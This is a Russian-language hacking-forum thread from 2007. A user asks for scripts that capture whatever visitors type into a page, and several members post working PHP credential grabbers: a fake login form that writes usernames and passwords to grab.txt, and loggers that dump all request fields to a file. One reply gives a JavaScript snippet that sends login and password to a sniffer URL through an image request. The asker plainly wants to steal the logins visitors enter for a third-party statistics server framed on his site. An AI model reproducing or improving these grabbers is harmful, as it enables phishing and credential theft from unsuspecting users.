Ищу скрипт сохранения данных !

Discussion in 'PHP' started by djdelok, 6 Oct 2007.

  1. djdelok

    djdelok New Member

    Joined:
    5 Jan 2007
    Messages:
    22
    Likes Received:
    1
    Reputations:
    0
    Ищу любые возможные скрипты для сохранения данных которые пользователь вводит на странице !!!
    Пожалуйста выложите сюда всевозможные скрипты такого направления !
     
  2. Joker-jar

    Joker-jar Elder - Старейшина

    Joined:
    11 Mar 2007
    Messages:
    581
    Likes Received:
    205
    Reputations:
    37
    Такого в паблике не найдешь.

    Хотя, вот нашел один:
    Code:
    <?
      if (isset($_POST['login']))
        {
          $f = fopen("grab.txt", "a");
    	  fputs($f, $_POST['login']." : ".$_POST['pass']."\n");
    	  fclose($f);
        }
    ?>
    <form method="post">
    <table>
    <tr>
    <td>Логин:</td>
    <td><input name="login"></td>
    </tr>
    <tr>
    <td>Пароль:</td>
    <td><input type="password" name="pass"></td>
    </tr>
    </table>
    <input type="submit" value="Войти">
    </form>
     
  3. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,194
    Reputations:
    252
    А может наоборот, найдет очень много?
     
    1 person likes this.
  4. ~EviL~

    ~EviL~ Elder - Старейшина

    Joined:
    14 Aug 2007
    Messages:
    169
    Likes Received:
    77
    Reputations:
    4
    Хех...знакомая ситуация. Буквально на днях мне потребовалось то же самое. Я придумал такой способ: на моем сайте стоит регистрация, которую необходимо пройти для получения доступа к содержимому сайта (после авторизации, конечно =). Когда пользователь вводит пароль (pass) и имя (login), и нажимает кнопку OK, вот что происходит:
    validation=login+' : '+pass;
    img=new Image();
    img.src="http://адресс.снифера.gif?"+validation;
    (Надеюсь объяснять не надо... =)
    Ну а кому интересно, как же пользователь логинится, скажу что сайт у меня не большой, и поэтому я ввожу их login : pass в написанною мною же БД на JavaScript вручную (сайтик мой не пользуется большим спросом, поэтому для меня этот вариант практичен). Надеюсь, что помог. Удачи тебе =)
     
  5. fucker"ok

    fucker"ok Elder - Старейшина

    Joined:
    21 Nov 2004
    Messages:
    578
    Likes Received:
    274
    Reputations:
    91
    PHP:
    <?php
    function writeto(&$data)
    {
        
    $f fopen("grab.txt""a");
        foreach (
    $data as $key => $valuefputs($f$key ." = ".$value."\n");
        
    fclose($f);

    }
    if (isset(
    $_GET)) writeto($_GET);
    if (isset(
    $_POST)) writeto($_POST);
    ?>
     
    #5 fucker"ok, 6 Oct 2007
    Last edited: 6 Oct 2007
    1 person likes this.
  6. mr.The

    mr.The Elder - Старейшина

    Joined:
    30 Apr 2007
    Messages:
    1,080
    Likes Received:
    456
    Reputations:
    38
    спасибо поржал.
    зачем такие извращения?

    и ещё. если зараннее не извесны значени GET или POST
    то можно сделать так

    PHP:
    <?php
    $r 
    fopen('123.txt',"a"); 
            
    $kea=array_keys($_POST);
            
    $vala=array_values($_POST);
            for(
    $iii=0;$iii<count($_POST);$iii++) fputs($r,$kea[$iii]."=".$vala[$iii]."\r\n!");

        
    fclose($r); 
    ?>
     
  7. djdelok

    djdelok New Member

    Joined:
    5 Jan 2007
    Messages:
    22
    Likes Received:
    1
    Reputations:
    0
    А возможно ли чтобы этот скрипт сохранял данные введённые во фрейме страницы ?
    Очень нужно...
     
  8. Joker-jar

    Joker-jar Elder - Старейшина

    Joined:
    11 Mar 2007
    Messages:
    581
    Likes Received:
    205
    Reputations:
    37
    Если фрейм твой, то ты сам определяешь, куда и что он сохраняет. А если сторонний, то смотря куда он сабмитит. Короче, все в руках принимающей стороны ;)
     
  9. djdelok

    djdelok New Member

    Joined:
    5 Jan 2007
    Messages:
    22
    Likes Received:
    1
    Reputations:
    0
    Ну вот что у меня получилось :


    <?php
    $r = fopen('123.txt',"a");
    $kea=array_keys($_POST);
    $vala=array_values($_POST);
    for($iii=0;$iii<count($_POST);$iii++) fputs($r,$kea[$iii]."=".$vala[$iii]."\r\n!");

    fclose($r);

    ?>
    <iframe src="http://www.slav.dn.ua/statsrv/statsrv.php" width=1024 height=786 frameborder=1>
    Откройте в IE
    </iframe>




    Подскажите ошибки и что ещё нужно делать !
     
  10. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    почему только гет и пост ?) лучше весь масив $_request логировать
     
  11. djdelok

    djdelok New Member

    Joined:
    5 Jan 2007
    Messages:
    22
    Likes Received:
    1
    Reputations:
    0
    Я в php неочень разбираюсь, а можете наброски скрипта сюда кинуть как оно должно быть, если вас это незатруднит !
     
  12. nc.STRIEM

    nc.STRIEM Members of Antichat

    Joined:
    5 Apr 2006
    Messages:
    1,036
    Likes Received:
    347
    Reputations:
    292
    PHP:
    <?
    $fo=fopen('data.txt','a');
    foreach(
    $_REQUEST as $name => $val)
       
    fwrite($fo,$name.' = '.$val."\n");
    fwrite($fo,"\n");
    fclose($fo);
    ?>
     
  13. djdelok

    djdelok New Member

    Joined:
    5 Jan 2007
    Messages:
    22
    Likes Received:
    1
    Reputations:
    0
    Поставил так, а оно всё равно несохраняет :
    PHP:
    <?
    $fo=fopen('data.txt','a');
    foreach(
    $_REQUEST as $name => $val)
       
    fwrite($fo,$name.' = '.$val."\n");
    fwrite($fo,"\n");
    fclose($fo);
    ?> 
    <iframe src="http://www.slav.dn.ua/statsrv/statsrv.php" width=1024 height=786 frameborder=1>
    Откройте в IE
    </iframe>
    Вообщем там для авторизации такая штука используется
    [​IMG]
    Я сделал у себя в локалке свой сайт и хочу чтобы с помощью фрейма когда посетитель переходит на сервер статистики по моим страницам, то чтобы данные введённые им сохранились мне !
     
  14. nc.STRIEM

    nc.STRIEM Members of Antichat

    Joined:
    5 Apr 2006
    Messages:
    1,036
    Likes Received:
    347
    Reputations:
    292
    этот код нужно вписать в файл statsrv.php
     
  15. djdelok

    djdelok New Member

    Joined:
    5 Jan 2007
    Messages:
    22
    Likes Received:
    1
    Reputations:
    0
    А подругому сделать никак нельзя ? В обход statsrv.php